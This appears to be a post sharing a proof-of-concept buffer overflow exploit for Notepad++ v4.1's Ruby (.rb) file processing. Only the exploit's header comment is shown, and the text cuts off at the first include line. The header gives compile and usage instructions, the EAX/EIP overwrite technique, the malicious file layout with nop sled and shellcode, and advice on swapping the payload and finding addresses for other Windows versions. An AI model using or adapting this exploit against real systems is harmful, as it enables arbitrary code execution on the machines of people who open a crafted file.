|
...i took a look at the new notepad++, and noticed this, i'm not sure how
long it has been there or if it was recently added to the code... either
way here is a POC for it.
original reference:
http://fakehalo.us/xnotepad++.c
/*[ notepad++[v4.1]: (win32) ruby file processing buffer overflow exploit. ]*
* *
* by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo) *
* *
* compile: *
* gcc xnotepad++.c -o xnotepad++ *
* *
* syntax: *
* ./xnotepad++ [-xe] -f filename *
* *
* notepad++ homepage/url: *
* http://sourceforge.net/projects/notepad-plus/ *
* http://notepad-plus.sourceforge.net/ *
* *
* notepad++ contains a buffer overflow vulnerability in the way it *
* processes ruby source files (.rb). this exploit works by overwriting *
* EAX which gets called during processing as "CALL DWORD EAX+4", so EAX *
* needs to point to a user-controlled area that contains another address *
* which will then become EIP. once EIP is controlled it simply jumps a *
* little bit forward in memory to the nop sled/shellcode. *
* *
* as of now, this will only be successful if the created file is opened *
* via "Edit with notepad++" on the file, not when opening a file from *
* inside notepad++. this is mainly to prove this vulnerability can be *
* exploited. *
* *
* exploitation method(file.rb): *
* [FILLERx32][NEW_EAX][FILLERx128]\r\n *
* # [NEW_EIPx1000][NOPSx4000][SHELLCODE]\r\n *
* *
* (i was a bit liberal with the new_eip/shellcode space, can pretty much *
* make it as large as you like. also, addresses with null-bytes are *
* allowed) *
* *
* if successful, notepad++ will spawn calc.exe by default, swap the *
* shellcode out if you want a different result. this was tested on winXP *
* SP2 ENG, if it is something else the EAX/EIP addresses may need to be *
* fished out of memory in your favorite debugger. *
***************************************************************************/
#include